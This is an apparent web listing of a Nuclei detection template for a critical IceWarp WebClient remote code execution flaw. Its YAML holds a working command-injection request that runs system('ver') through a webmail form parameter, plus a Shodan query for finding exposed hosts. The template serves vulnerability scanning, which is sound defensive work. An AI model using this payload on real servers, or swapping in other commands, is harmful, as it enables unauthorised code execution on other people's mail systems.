IceWarp WebClient - Remote Code Execution

ID: icewarp-webclient-rce

Severity: critical

Author: gy741

Tags: icewarp,rce

Description

IceWarp WebClient is susceptible to remote code execution.

YAML Source

id: icewarp-webclient-rce

info:
  name: IceWarp WebClient - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    IceWarp WebClient is susceptible to remote code execution.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
    cpe: cpe:2.3:a:icewarp:icewarp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"icewarp"
    product: icewarp
    vendor: icewarp
  tags: icewarp,rce

http:
  - raw:
      - |
        POST /webmail/basic/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _dlg[captcha][target]=system(\'ver\')\

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Microsoft Windows [Version"

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100b269b611c49f0a1763e8c667515924c96626d4db68c917d5531fb9734abfe4a902210097600908eb750952717961467d970e507583616603ba60a4cca22a1226d384cf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/icewarp-webclient-rce.yaml"

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